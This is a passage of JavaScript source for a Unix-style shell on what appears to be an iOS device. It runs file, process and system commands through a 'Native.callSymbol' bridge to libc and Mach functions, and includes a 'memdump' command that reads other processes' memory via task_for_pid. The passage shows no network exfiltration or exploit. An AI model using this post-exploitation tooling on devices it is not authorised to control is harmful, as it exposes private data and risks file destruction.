{\n\t\t\tvar fp = path + (path === \"/\" ? \"\" : \"/\") + items[i].name;\n\t\t\tvar fs = _statFile(fp);\n\t\t\tif (fs) {\n\t\t\t\tout += _modeStr(fs.mode) + \"\\t\" + fs.size + \"\\t\" + items[i].name + \"\\n\";\n\t\t\t} else {\n\t\t\t\tout += (items[i].type === \"dir\" ? \"d\" : \"-\") + \"---------\\t0\\t\" + items[i].name + \"\\n\";\n\t\t\t}\n\t\t} else {\n\t\t\tout += items[i].name + \"\\n\";\n\t\t}\n\t}\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdCat(args) {\n\tif (args.length < 2) return { code: 1, out: \"\", err: \"cat: missing operand\\n\" };\n\tvar out = \"\", errs = \"\", fail = false;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tvar path = _resolvePath(args[i]);\n\t\tvar acc = Number(Native.callSymbol(\"access\", path, 0));\n\t\tif (acc !== 0) { errs += \"cat: \" + path + \": No such file or directory\\n\"; fail = true; continue; }\n\t\tvar sz = getFileSize(path);\n\t\tif (sz > 2 * 1024 * 1024) { errs += \"cat: \" + path + \": File too large (max 2MB)\\n\"; fail = true; continue; }\n\t\tif (sz === 0) continue;\n\t\tvar bytes = _readFileBytes(path);\n\t\tif (!bytes || bytes.length === 0) continue;\n\t\tout += _rawToStr(bytes);\n\t}\n\treturn { code: fail ? 1 : 0, out: out, err: errs };\n}\n\nfunction _cmdPwd() { return { code: 0, out: _cwd + \"\\n\", err: \"\" }; }\n\nfunction _cmdCd(args) {\n\tvar target = args.length > 1 ? args[1] : \"/var/mobile\";\n\tvar path = _resolvePath(target);\n\tvar st = _statFile(path);\n\tif (!st) return { code: 1, out: \"\", err: \"cd: \" + path + \": No such file or directory\\n\" };\n\tif (!st.isDir) return { code: 1, out: \"\", err: \"cd: \" + path + \": Not a directory\\n\" };\n\t_cwd = path;\n\treturn { code: 0, out: \"\", err: \"\" };\n}\n\nfunction _cmdMkdir(args) {\n\tvar mkp = false, target = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-p\") mkp = true;\n\t\telse target = args[i];\n\t}\n\tif (!target) return { code: 1, out: \"\", err: \"mkdir: missing operand\\n\" };\n\tvar path = _resolvePath(target);\n\tif (mkp) {\n\t\tvar parts = path.split('/');\n\t\tvar cur = \"\";\n\t\tfor (var i = 0; i < parts.length; i++) {\n\t\t\tcur += (i === 0 ? \"\" : \"/\") + parts[i];\n\t\t\tif (!cur) cur = \"/\";\n\t\t\tif (!_statFile(cur)) Native.callSymbol(\"mkdir\", cur, 0x1ed);\n\t\t}\n\t} else {\n\t\tvar r = Number(Native.callSymbol(\"mkdir\", path, 0x1ed));\n\t\tif (r !== 0) return { code: 1, out: \"\", err: \"mkdir: \" + path + \": Cannot create directory\\n\" };\n\t}\n\treturn { code: 0, out: \"\", err: \"\" };\n}\n\nfunction _rmRecursive(path) {\n\tvar items = listDir(path);\n\tfor (var i = 0; i < items.length; i++) {\n\t\tvar fp = path + \"/\" + items[i].name;\n\t\tif (items[i].type === \"dir\") _rmRecursive(fp);\n\t\telse Native.callSymbol(\"unlink\", fp);\n\t}\n\tNative.callSymbol(\"rmdir\", path);\n}\n\nfunction _cmdRm(args) {\n\tvar recursive = false, force = false, targets = [];\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i].charAt(0) === '-') {\n\t\t\tfor (var j = 1; j < args[i].length; j++) {\n\t\t\t\tvar ch = args[i].charAt(j);\n\t\t\t\tif (ch === 'r' || ch === 'R') recursive = true;\n\t\t\t\tif (ch === 'f') force = true;\n\t\t\t}\n\t\t} else targets.push(args[i]);\n\t}\n\tif (!targets.length) return { code: 1, out: \"\", err: \"rm: missing operand\\n\" };\n\tvar errs = \"\";\n\tfor (var t = 0; t < targets.length; t++) {\n\t\tvar path = _resolvePath(targets[t]);\n\t\tvar st = _statFile(path);\n\t\tif (!st) { if (!force) errs += \"rm: \" + path + \": No such file or directory\\n\"; continue; }\n\t\tif (st.isDir) {\n\t\t\tif (!recursive) { errs += \"rm: \" + path + \": Is a directory\\n\"; continue; }\n\t\t\t_rmRecursive(path);\n\t\t} else {\n\t\t\tvar r = Number(Native.callSymbol(\"unlink\", path));\n\t\t\tif (r !== 0 && !force) errs += \"rm: \" + path + \": Permission denied\\n\";\n\t\t}\n\t}\n\treturn { code: errs ? 1 : 0, out: \"\", err: errs };\n}\n\nfunction _cmdCp(args) {\n\tif (args.length < 3) return { code: 1, out: \"\", err: \"cp: missing operand\\n\" };\n\tvar src = _resolvePath(args[1]);\n\tvar dst = _resolvePath(args[2]);\n\tvar srcSt = _statFile(src);\n\tif (!srcSt) return { code: 1, out: \"\", err: \"cp: \" + src + \": No such file or directory\\n\" };\n\tif (!srcSt.isFile) return { code: 1, out: \"\", err: \"cp: \" + src + \": Not a regular file\\n\" };\n\tvar dstSt = _statFile(dst);\n\tif (dstSt && dstSt.isDir) dst = dst + \"/\" + src.split('/').pop();\n\n\tvar srcFd = Number(Native.callSymbol(\"open\", src, 0, 0));\n\tif (srcFd < 0) return { code: 1, out: \"\", err: \"cp: \" + src + \": Permission denied\\n\" };\n\tvar dstFd = Number(Native.callSymbol(\"open\", dst, 0x0601, 0x1a4));\n\tif (dstFd < 0) { Native.callSymbol(\"close\", srcFd); return { code: 1, out: \"\", err: \"cp: \" + dst + \": Cannot create file\\n\" }; }\n\n\tvar BUF = 65536;\n\tvar buf = Native.callSymbol(\"malloc\", BigInt(BUF));\n\tif (!buf || buf === 0n) {\n\t\tNative.callSymbol(\"close\", srcFd); Native.callSymbol(\"close\", dstFd);\n\t\treturn { code: 1, out: \"\", err: \"cp: out of memory\\n\" };\n\t}\n\tvar err = \"\";\n\ttry {\n\t\tfor (;;) {\n\t\t\tvar nr = Number(Native.callSymbol(\"read\", srcFd, buf, BUF));\n\t\t\tif (nr <= 0) break;\n\t\t\tvar nw = Number(Native.callSymbol(\"write\", dstFd, buf, nr));\n\t\t\tif (nw !== nr) { err = \"cp: write error\\n\"; break; }\n\t\t}\n\t} finally {\n\t\tNative.callSymbol(\"free\", buf);\n\t\tNative.callSymbol(\"close\", srcFd);\n\t\tNative.callSymbol(\"close\", dstFd);\n\t}\n\tif (!err) Native.callSymbol(\"chmod\", dst, 0x1A4);\n\treturn { code: err ? 1 : 0, out: \"\", err: err };\n}\n\nfunction _cmdMv(args) {\n\tif (args.length < 3) return { code: 1, out: \"\", err: \"mv: missing operand\\n\" };\n\tvar src = _resolvePath(args[1]);\n\tvar dst = _resolvePath(args[2]);\n\tvar dstSt = _statFile(dst);\n\tif (dstSt && dstSt.isDir) dst = dst + \"/\" + src.split('/').pop();\n\tvar r = Number(Native.callSymbol(\"rename\", src, dst));\n\tif (r !== 0) return { code: 1, out: \"\", err: \"mv: cannot move \" + src + \" to \" + dst + \"\\n\" };\n\treturn { code: 0, out: \"\", err: \"\" };\n}\n\nfunction _cmdStat(args) {\n\tif (args.length < 2) return { code: 1, out: \"\", err: \"stat: missing operand\\n\" };\n\tvar path = _resolvePath(args[1]);\n\tvar st = _statFile(path);\n\tif (!st) return { code: 1, out: \"\", err: \"stat: \" + path + \": No such file or directory\\n\" };\n\tvar out = \" File: \" + path + \"\\n\";\n\tout += \" Size: \" + st.size + \"\\tType: \" + st.type + \"\\n\";\n\tout += \" Mode: \" + _modeStr(st.mode) + \" (\" + (st.mode & 0xFFF).toString(8) + \")\\n\";\n\tout += \" Links: \" + st.nlink + \"\\n\";\n\tout += \"Access: \" + new Date(st.atime * 1000).toISOString() + \"\\n\";\n\tout += \"Modify: \" + new Date(st.mtime * 1000).toISOString() + \"\\n\";\n\tout += \"Change: \" + new Date(st.ctime * 1000).toISOString() + \"\\n\";\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdChmod(args) {\n\tif (args.length < 3) return { code: 1, out: \"\", err: \"chmod: missing operand\\n\" };\n\tvar mode = parseInt(args[1], 8);\n\tif (isNaN(mode)) return { code: 1, out: \"\", err: \"chmod: invalid mode: \" + args[1] + \"\\n\" };\n\tvar path = _resolvePath(args[2]);\n\tvar r = Number(Native.callSymbol(\"chmod\", path, mode));\n\tif (r !== 0) return { code: 1, out: \"\", err: \"chmod: \" + path + \": Operation not permitted\\n\" };\n\treturn { code: 0, out: \"\", err: \"\" };\n}\n\nfunction _cmdTouch(args) {\n\tif (args.length < 2) return { code: 1, out: \"\", err: \"touch: missing operand\\n\" };\n\tvar path = _resolvePath(args[1]);\n\tvar st = _statFile(path);\n\tif (st) {\n\t\tNative.callSymbol(\"utimes\", path, 0n);\n\t} else {\n\t\tvar fd = Number(Native.callSymbol(\"open\", path, 0x0601, 0x1a4));\n\t\tif (fd < 0) return { code: 1, out: \"\", err: \"touch: \" + path + \": Cannot create file\\n\" };\n\t\tNative.callSymbol(\"close\", fd);\n\t}\n\treturn { code: 0, out: \"\", err: \"\" };\n}\n\nfunction _cmdLn(args) {\n\tvar sym = false, target = null, link = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-s\") sym = true;\n\t\telse if (!target) target = args[i];\n\t\telse link = args[i];\n\t}\n\tif (!target || !link) return { code: 1, out: \"\", err: \"ln: usage: ln [-s] target link\\n\" };\n\tvar tgt = _resolvePath(target);\n\tvar lnk = _resolvePath(link);\n\tvar fn = sym ? \"symlink\" : \"link\";\n\tvar r = Number(Native.callSymbol(fn, tgt, lnk));\n\tif (r !== 0) return { code: 1, out: \"\", err: \"ln: \" + lnk + \": Operation failed\\n\" };\n\treturn { code: 0, out: \"\", err: \"\" };\n}\n\nfunction _cmdReadlink(args) {\n\tif (args.length < 2) return { code: 1, out: \"\", err: \"readlink: missing operand\\n\" };\n\tvar path = _resolvePath(args[1]);\n\tvar buf = Native.callSymbol(\"malloc\", 1024);\n\tif (!buf || buf === 0n) return { code: 1, out: \"\", err: \"readlink: failed\\n\" };\n\ttry {\n\t\tvar len = Number(Native.callSymbol(\"readlink\", path, buf, 1023));\n\t\tif (len <= 0) return { code: 1, out: \"\", err: \"readlink: \" + path + \": Invalid argument\\n\" };\n\t\treturn { code: 0, out: Native.readString(buf, len) + \"\\n\", err: \"\" };\n\t} finally { Native.callSymbol(\"free\", buf); }\n}\n\nfunction _matchGlob(name, pattern) {\n\tif (!pattern) return true;\n\tif (pattern === \"*\") return true;\n\tif (pattern.indexOf('*') < 0 && pattern.indexOf('?') < 0) return name === pattern;\n\tvar re = \"^\";\n\tfor (var i = 0; i < pattern.length; i++) {\n\t\tvar c = pattern.charAt(i);\n\t\tif (c === '*') re += \".*\";\n\t\telse if (c === '?') re += \".\";\n\t\telse if (\".+^${}()|[]\\\\\".indexOf(c) >= 0) re += \"\\\\\" + c;\n\t\telse re += c;\n\t}\n\tre += \"$\";\n\ttry { return new RegExp(re).test(name); }\n\tcatch(e) { return name.indexOf(pattern.replace(/\\*/g, '')) >= 0; }\n}\n\nfunction _findRecursive(base, namePattern, typeFilter, results, depth, maxDepth) {\n\tif (depth > maxDepth || results.length > 10000) return;\n\tvar items = listDir(base);\n\tfor (var i = 0; i < items.length; i++) {\n\t\tvar fp = base + (base === \"/\" ? \"\" : \"/\") + items[i].name;\n\t\tvar isDir = items[i].type === \"dir\";\n\t\tvar isFile = items[i].type === \"file\";\n\t\tif (typeFilter === \"f\" && !isFile) {\n\t\t\tif (isDir) _findRecursive(fp, namePattern, typeFilter, results, depth + 1, maxDepth);\n\t\t\tcontinue;\n\t\t}\n\t\tif (typeFilter === \"d\" && !isDir) continue;\n\t\tif (_matchGlob(items[i].name, namePattern)) results.push(fp);\n\t\tif (isDir) _findRecursive(fp, namePattern, typeFilter, results, depth + 1, maxDepth);\n\t}\n}\n\nfunction _cmdFind(args) {\n\tvar searchPath = null, namePattern = null, typeFilter = null;\n\tvar i = 1;\n\twhile (i < args.length) {\n\t\tif (args[i] === \"-name\" && i + 1 < args.length) { namePattern = args[i + 1]; i += 2; }\n\t\telse if (args[i] === \"-type\" && i + 1 < args.length) { typeFilter = args[i + 1]; i += 2; }\n\t\telse if (args[i].charAt(0) !== '-') { searchPath = args[i]; i++; }\n\t\telse { i++; }\n\t}\n\tvar path = _resolvePath(searchPath || \".\");\n\tvar results = [];\n\t_findRecursive(path, namePattern, typeFilter, results, 0, 20);\n\treturn { code: 0, out: results.join(\"\\n\") + (results.length ? \"\\n\" : \"\"), err: \"\" };\n}\n\nfunction _cmdHead(args) {\n\tvar n = 10, file = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-n\" && i + 1 < args.length) { n = parseInt(args[++i]); }\n\t\telse if (args[i].charAt(0) !== '-') file = args[i];\n\t}\n\tif (!file) return { code: 1, out: \"\", err: \"head: missing operand\\n\" };\n\tvar path = _resolvePath(file);\n\tvar bytes = _readFileBytes(path);\n\tif (!bytes) return { code: 1, out: \"\", err: \"head: \" + path + \": No such file or directory\\n\" };\n\tvar text = _rawToStr(bytes);\n\tvar lines = text.split('\\n');\n\tvar out = lines.slice(0, n).join('\\n');\n\tif (lines.length > n) out += '\\n';\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdTail(args) {\n\tvar n = 10, file = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-n\" && i + 1 < args.length) { n = parseInt(args[++i]); }\n\t\telse if (args[i].charAt(0) !== '-') file = args[i];\n\t}\n\tif (!file) return { code: 1, out: \"\", err: \"tail: missing operand\\n\" };\n\tvar path = _resolvePath(file);\n\tvar bytes = _readFileBytes(path);\n\tif (!bytes) return { code: 1, out: \"\", err: \"tail: \" + path + \": No such file or directory\\n\" };\n\tvar text = _rawToStr(bytes);\n\tvar lines = text.split('\\n');\n\tvar start = lines.length > n ? lines.length - n : 0;\n\treturn { code: 0, out: lines.slice(start).join('\\n'), err: \"\" };\n}\n\nfunction _cmdWc(args) {\n\tvar cntL = false, cntW = false, cntC = false, file = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i].charAt(0) === '-') {\n\t\t\tfor (var j = 1; j < args[i].length; j++) {\n\t\t\t\tvar ch = args[i].charAt(j);\n\t\t\t\tif (ch === 'l') cntL = true;\n\t\t\t\tif (ch === 'w') cntW = true;\n\t\t\t\tif (ch === 'c') cntC = true;\n\t\t\t}\n\t\t} else file = args[i];\n\t}\n\tif (!file) return { code: 1, out: \"\", err: \"wc: missing operand\\n\" };\n\tif (!cntL && !cntW && !cntC) { cntL = true; cntW = true; cntC = true; }\n\tvar path = _resolvePath(file);\n\tvar bytes = _readFileBytes(path);\n\tif (!bytes) return { code: 1, out: \"\", err: \"wc: \" + path + \": No such file or directory\\n\" };\n\tvar text = _rawToStr(bytes);\n\tvar out = \"\";\n\tif (cntL) { var nl = 0; for (var k = 0; k < text.length; k++) if (text.charAt(k) === '\\n') nl++; out += nl + \"\\t\"; }\n\tif (cntW) {\n\t\tvar wc = 0, inWord = false;\n\t\tfor (var k = 0; k < text.length; k++) {\n\t\t\tvar cc = text.charCodeAt(k);\n\t\t\tvar ws = (cc === 32 || cc === 9 || cc === 10 || cc === 13);\n\t\t\tif (!ws && !inWord) { wc++; inWord = true; }\n\t\t\tif (ws) inWord = false;\n\t\t}\n\t\tout += wc + \"\\t\";\n\t}\n\tif (cntC) out += bytes.length + \"\\t\";\n\tout += path + \"\\n\";\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdGrep(args) {\n\tif (args.length < 3) return { code: 1, out: \"\", err: \"grep: usage: grep pattern file\\n\" };\n\tvar ignCase = false, lineNum = false;\n\tvar pattern = null, file = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-i\") ignCase = true;\n\t\telse if (args[i] === \"-n\") lineNum = true;\n\t\telse if (!pattern) pattern = args[i];\n\t\telse file = args[i];\n\t}\n\tif (!pattern || !file) return { code: 1, out: \"\", err: \"grep: usage: grep [-in] pattern file\\n\" };\n\tvar path = _resolvePath(file);\n\tvar bytes = _readFileBytes(path);\n\tif (!bytes) return { code: 1, out: \"\", err: \"grep: \" + path + \": No such file or directory\\n\" };\n\tvar text = _rawToStr(bytes);\n\tvar lines = text.split('\\n');\n\tvar out = \"\";\n\tvar found = false;\n\tvar pat = ignCase ? pattern.toLowerCase() : pattern;\n\tfor (var i = 0; i < lines.length; i++) {\n\t\tvar line = ignCase ? lines[i].toLowerCase() : lines[i];\n\t\tif (line.indexOf(pat) >= 0) {\n\t\t\tout += (lineNum ? (i + 1) + \":\" : \"\") + lines[i] + \"\\n\";\n\t\t\tfound = true;\n\t\t}\n\t}\n\treturn { code: found ? 0 : 1, out: out, err: \"\" };\n}\n\nfunction _duRecursive(path, depth) {\n\tif (depth > 50) return 0;\n\tvar st = _statFile(path);\n\tif (!st) return 0;\n\tif (st.isFile) return st.size;\n\tvar total = 0;\n\tvar items = listDir(path);\n\tfor (var i = 0; i < items.length; i++) {\n\t\ttotal += _duRecursive(path + \"/\" + items[i].name, depth + 1);\n\t}\n\treturn total;\n}\n\nfunction _cmdDu(args) {\n\tvar summary = false, human = false, target = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-s\") summary = true;\n\t\telse if (args[i] === \"-h\") human = true;\n\t\telse if (args[i].charAt(0) !== '-') target = args[i];\n\t}\n\tvar path = _resolvePath(target || \".\");\n\tvar total = _duRecursive(path, 0);\n\tvar sizeStr = human ? _fmtSizeH(total) : \"\" + (total / 1024 | 0);\n\treturn { code: 0, out: sizeStr + \"\\t\" + path + \"\\n\", err: \"\" };\n}\n\nfunction _cmdFile(args) {\n\tif (args.length < 2) return { code: 1, out: \"\", err: \"file: missing operand\\n\" };\n\tvar path = _resolvePath(args[1]);\n\tvar st = _statFile(path);\n\tif (!st) return { code: 1, out: \"\", err: \"file: \" + path + \": No such file or directory\\n\" };\n\tif (st.isDir) return { code: 0, out: path + \": directory\\n\", err: \"\" };\n\tif (st.isLink) return { code: 0, out: path + \": symbolic link\\n\", err: \"\" };\n\tvar bytes = _readFileBytes(path, 512);\n\tif (!bytes || bytes.length === 0) return { code: 0, out: path + \": empty\\n\", err: \"\" };\n\tif (bytes.length >= 4) {\n\t\tif (bytes[0]===0xCF && bytes[1]===0xFA && bytes[2]===0xED && bytes[3]===0xFE) return { code: 0, out: path + \": Mach-O 64-bit executable\\n\", err: \"\" };\n\t\tif (bytes[0]===0xCA && bytes[1]===0xFE && bytes[2]===0xBA && bytes[3]===0xBE) return { code: 0, out: path + \": Mach-O universal binary\\n\", err: \"\" };\n\t\tif (bytes[0]===0x89 && bytes[1]===0x50 && bytes[2]===0x4E && bytes[3]===0x47) return { code: 0, out: path + \": PNG image data\\n\", err: \"\" };\n\t\tif (bytes[0]===0xFF && bytes[1]===0xD8 && bytes[2]===0xFF) return { code: 0, out: path + \": JPEG image data\\n\", err: \"\" };\n\t\tif (bytes[0]===0x50 && bytes[1]===0x4B && bytes[2]===0x03 && bytes[3]===0x04) return { code: 0, out: path + \": Zip archive\\n\", err: \"\" };\n\t\tif (bytes[0]===0x53 && bytes[1]===0x51 && bytes[2]===0x4C && bytes[3]===0x69) return { code: 0, out: path + \": SQLite 3.x database\\n\", err: \"\" };\n\t\tif (bytes[0]===0x62 && bytes[1]===0x70 && bytes[2]===0x6C && bytes[3]===0x69) return { code: 0, out: path + \": Apple binary property list\\n\", err: \"\" };\n\t\tif (bytes[0]===0x3C && bytes[1]===0x3F && bytes[2]===0x78 && bytes[3]===0x6D) return { code: 0, out: path + \": XML document\\n\", err: \"\" };\n\t}\n\tvar isText = true;\n\tfor (var i = 0; i < Math.min(bytes.length, 256); i++) {\n\t\tif (bytes[i] < 9 || (bytes[i] > 13 && bytes[i] < 32 && bytes[i] !== 27)) { isText = false; break; }\n\t}\n\tif (isText) return { code: 0, out: path + \": ASCII text\\n\", err: \"\" };\n\treturn { code: 0, out: path + \": data\\n\", err: \"\" };\n}\n\nfunction _cmdHexdump(args) {\n\tvar maxBytes = 256, file = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-n\" && i + 1 < args.length) { maxBytes = parseInt(args[++i]); }\n\t\telse if (args[i].charAt(0) !== '-') file = args[i];\n\t}\n\tif (!file) return { code: 1, out: \"\", err: \"hexdump: missing operand\\n\" };\n\tvar path = _resolvePath(file);\n\tvar bytes = _readFileBytes(path, maxBytes);\n\tif (!bytes) return { code: 1, out: \"\", err: \"hexdump: \" + path + \": No such file or directory\\n\" };\n\tvar out = \"\";\n\tfor (var i = 0; i < bytes.length; i += 16) {\n\t\tvar addr = (\"00000000\" + i.toString(16)).slice(-8);\n\t\tvar hex = \"\", ascii = \"\";\n\t\tfor (var j = 0; j < 16; j++) {\n\t\t\tif (i + j < bytes.length) {\n\t\t\t\thex += (\"0\" + bytes[i + j].toString(16)).slice(-2) + \" \";\n\t\t\t\tascii += (bytes[i + j] >= 32 && bytes[i + j] < 127) ? String.fromCharCode(bytes[i + j]) : \".\";\n\t\t\t} else { hex += \" \"; }\n\t\t\tif (j === 7) hex += \" \";\n\t\t}\n\t\tout += addr + \" \" + hex + \" |\" + ascii + \"|\\n\";\n\t}\n\treturn { code: 0, out: out, err: \"\" };\n}\n\n// ---- System Info Commands ----\n\nfunction _cmdWhoami() {\n\tvar uid = Number(Native.callSymbol(\"getuid\"));\n\treturn { code: 0, out: (uid === 0 ? \"root\" : \"mobile\") + \"\\n\", err: \"\" };\n}\n\nfunction _cmdId() {\n\tvar uid = Number(Native.callSymbol(\"getuid\"));\n\tvar gid = Number(Native.callSymbol(\"getgid\"));\n\tvar euid = Number(Native.callSymbol(\"geteuid\"));\n\tvar egid = Number(Native.callSymbol(\"getegid\"));\n\tvar uname = uid === 0 ? \"root\" : \"mobile\";\n\tvar gname = gid === 0 ? \"wheel\" : gid === 501 ? \"mobile\" : \"\" + gid;\n\tvar out = \"uid=\" + uid + \"(\" + uname + \") gid=\" + gid + \"(\" + gname + \")\";\n\tif (euid !== uid) out += \" euid=\" + euid;\n\tif (egid !== gid) out += \" egid=\" + egid;\n\treturn { code: 0, out: out + \"\\n\", err: \"\" };\n}\n\nfunction _cmdUname(args) {\n\tvar all = false;\n\tfor (var i = 1; i < args.length; i++) if (args[i] === \"-a\") all = true;\n\tvar uts = Native.callSymbol(\"calloc\", 1, 1536);\n\tif (!uts || uts === 0n) return { code: 1, out: \"\", err: \"uname: failed\\n\" };\n\ttry {\n\t\tNative.callSymbol(\"uname\", uts);\n\t\tvar sysname = Native.readString(uts, 256).replace(/\\0/g, \"\");\n\t\tvar nodename = Native.readString(uts + 256n, 256).replace(/\\0/g, \"\");\n\t\tvar release = Native.readString(uts + 512n, 256).replace(/\\0/g, \"\");\n\t\tvar version = Native.readString(uts + 768n, 256).replace(/\\0/g, \"\");\n\t\tvar machine = Native.readString(uts + 1024n, 256).replace(/\\0/g, \"\");\n\t\tif (all) return { code: 0, out: sysname + \" \" + nodename + \" \" + release + \" \" + version + \" \" + machine + \"\\n\", err: \"\" };\n\t\treturn { code: 0, out: sysname + \"\\n\", err: \"\" };\n\t} finally { Native.callSymbol(\"free\", uts); }\n}\n\nfunction _cmdHostname() {\n\tvar buf = Native.callSymbol(\"malloc\", 256);\n\tif (!buf || buf === 0n) return { code: 1, out: \"\", err: \"hostname: failed\\n\" };\n\ttry {\n\t\tvar r = Number(Native.callSymbol(\"gethostname\", buf, 255));\n\t\tif (r !== 0) return { code: 1, out: \"\", err: \"hostname: failed\\n\" };\n\t\treturn { code: 0, out: Native.readString(buf, 256).replace(/\\0/g, \"\") + \"\\n\", err: \"\" };\n\t} finally { Native.callSymbol(\"free\", buf); }\n}\n\nfunction _cmdDf(args) {\n\tvar human = false;\n\tfor (var i = 1; i < args.length; i++) if (args[i] === \"-h\") human = true;\n\tvar sb = Native.callSymbol(\"calloc\", 1, 4096);\n\tif (!sb || sb === 0n) return { code: 1, out: \"\", err: \"df: failed\\n\" };\n\ttry {\n\t\tvar r = Number(Native.callSymbol(\"statfs\", \"/\", sb));\n\t\tif (r !== 0) return { code: 1, out: \"\", err: \"df: statfs failed\\n\" };\n\t\tvar bsRaw = new DataView(Native.read(BigInt(sb), 4));\n\t\tvar bsize = bsRaw.getUint32(0, true);\n\t\tvar blocks = Number(Native.readPtr(BigInt(sb) + 8n));\n\t\tvar bfree = Number(Native.readPtr(BigInt(sb) + 16n));\n\t\tvar bavail = Number(Native.readPtr(BigInt(sb) + 24n));\n\t\tvar total = blocks * bsize, free = bfree * bsize;\n\t\tvar used = total - free, avail = bavail * bsize;\n\t\tvar pct = total > 0 ? Math.round(used * 100 / total) : 0;\n\t\tvar out = \"Filesystem\\tSize\\tUsed\\tAvail\\tUse%\\tMounted on\\n\";\n\t\tif (human) {\n\t\t\tout += \"/dev/disk0s1\\t\" + _fmtSizeH(total) + \"\\t\" + _fmtSizeH(used) + \"\\t\" + _fmtSizeH(avail) + \"\\t\" + pct + \"%\\t/\\n\";\n\t\t} else {\n\t\t\tout += \"/dev/disk0s1\\t\" + (total/1024|0) + \"\\t\" + (used/1024|0) + \"\\t\" + (avail/1024|0) + \"\\t\" + pct + \"%\\t/\\n\";\n\t\t}\n\t\treturn { code: 0, out: out, err: \"\" };\n\t} finally { Native.callSymbol(\"free\", sb); }\n}\n\nfunction _cmdDate() {\n\tvar now = new Date();\n\treturn { code: 0, out: now.toISOString().replace(\"T\", \" \").replace(\"Z\", \" UTC\") + \"\\n\", err: \"\" };\n}\n\nfunction _cmdEcho(args) {\n\treturn { code: 0, out: args.slice(1).join(\" \") + \"\\n\", err: \"\" };\n}\n\n// ---- Process Commands ----\n\nfunction _cmdPs(args) {\n\tvar pidBufSize = 4 * 8192;\n\tvar pidBuf = Native.callSymbol(\"malloc\", BigInt(pidBufSize));\n\tif (!pidBuf || pidBuf === 0n) return { code: 1, out: \"\", err: \"ps: malloc failed\\n\" };\n\n\tvar count = Number(Native.callSymbol(\"proc_listallpids\", pidBuf, pidBufSize));\n\tif (count <= 0) {\n\t\tNative.callSymbol(\"free\", pidBuf);\n\t\treturn { code: 1, out: \"\", err: \"ps: proc_listallpids failed\\n\" };\n\t}\n\tif (count > 8192) count = 8192;\n\n\tvar pids = [];\n\tfor (var i = 0; i < count; i++) {\n\t\tvar pid = Native.read32(BigInt(pidBuf) + BigInt(i * 4));\n\t\tif (pid > 0) pids.push(pid);\n\t}\n\tNative.callSymbol(\"free\", pidBuf);\n\tpids.sort(function(a, b) { return a - b; });\n\n\tvar nameBuf = Native.callSymbol(\"malloc\", 256);\n\tif (!nameBuf || nameBuf === 0n) return { code: 1, out: \"\", err: \"ps: malloc failed\\n\" };\n\n\tvar out = \" PID\\tNAME\\n\";\n\tfor (var pi = 0; pi < pids.length; pi++) {\n\t\ttry {\n\t\t\tNative.callSymbol(\"memset\", nameBuf, 0, 256);\n\t\t\tvar nameLen = Number(Native.callSymbol(\"proc_name\", pids[pi], nameBuf, 255));\n\t\t\tvar name = nameLen > 0 ? Native.readString(BigInt(nameBuf), 255) : \"?\";\n\t\t\tout += \" \" + pids[pi] + \"\\t\" + name + \"\\n\";\n\t\t} catch (procErr) {\n\t\t\tout += \" \" + pids[pi] + \"\\t(error)\\n\";\n\t\t}\n\t}\n\tNative.callSymbol(\"free\", nameBuf);\n\tout += \"\\nTotal: \" + pids.length + \" processes\\n\";\n\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdMemdump(args) {\n\tif (args.length < 4) return { code: 1, out: \"\", err: \"memdump: usage: memdump \\n Address in hex (0x...). Max dump display 4KB, max read 1MB.\\n\" };\n\n\tvar pid = parseInt(args[1]);\n\tvar addrStr = args[2];\n\tvar address = (addrStr.indexOf(\"0x\") === 0 || addrStr.indexOf(\"0X\") === 0)\n\t\t? parseInt(addrStr, 16) : parseInt(addrStr);\n\tvar size = parseInt(args[3]);\n\n\tif (isNaN(pid) || pid <= 0) return { code: 1, out: \"\", err: \"memdump: invalid pid\\n\" };\n\tif (isNaN(address)) return { code: 1, out: \"\", err: \"memdump: invalid address\\n\" };\n\tif (isNaN(size) || size <= 0) return { code: 1, out: \"\", err: \"memdump: invalid size\\n\" };\n\tif (size > 1024 * 1024) return { code: 1, out: \"\", err: \"memdump: size too large (max 1MB)\\n\" };\n\n\tvar selfPortAddr = Native.callSymbol(\"dlsym\", 0xfffffffffffffffen, \"mach_task_self_\");\n\tif (!selfPortAddr || selfPortAddr === 0n) return { code: 1, out: \"\", err: \"memdump: cannot resolve mach_task_self_\\n\" };\n\tvar selfPort = Native.read32(BigInt(selfPortAddr));\n\n\tvar taskPtr = Native.callSymbol(\"calloc\", 1, 8);\n\tif (!taskPtr || taskPtr === 0n) return { code: 1, out: \"\", err: \"memdump: malloc failed\\n\" };\n\n\tvar kr = Number(Native.callSymbol(\"task_for_pid\", selfPort, pid, taskPtr));\n\tif (kr !== 0) {\n\t\tNative.callSymbol(\"free\", taskPtr);\n\t\treturn { code: 1, out: \"\", err: \"memdump: task_for_pid failed (kern_return=\" + kr + \")\\n\" };\n\t}\n\tvar task = Native.read32(BigInt(taskPtr));\n\tNative.callSymbol(\"free\", taskPtr);\n\n\tvar dataOutPtr = Native.callSymbol(\"calloc\", 1, 8);\n\tvar cntOutPtr = Native.callSymbol(\"calloc\", 1, 4);\n\tif (!dataOutPtr || dataOutPtr === 0n || !cntOutPtr || cntOutPtr === 0n) {\n\t\tNative.callSymbol(\"mach_port_deallocate\", selfPort, task);\n\t\tif (dataOutPtr) Native.callSymbol(\"free\", dataOutPtr);\n\t\tif (cntOutPtr) Native.callSymbol(\"free\", cntOutPtr);\n\t\treturn { code: 1, out: \"\", err: \"memdump: malloc failed\\n\" };\n\t}\n\n\tkr = Number(Native.callSymbol(\"mach_vm_read\", task, BigInt(address), BigInt(size), 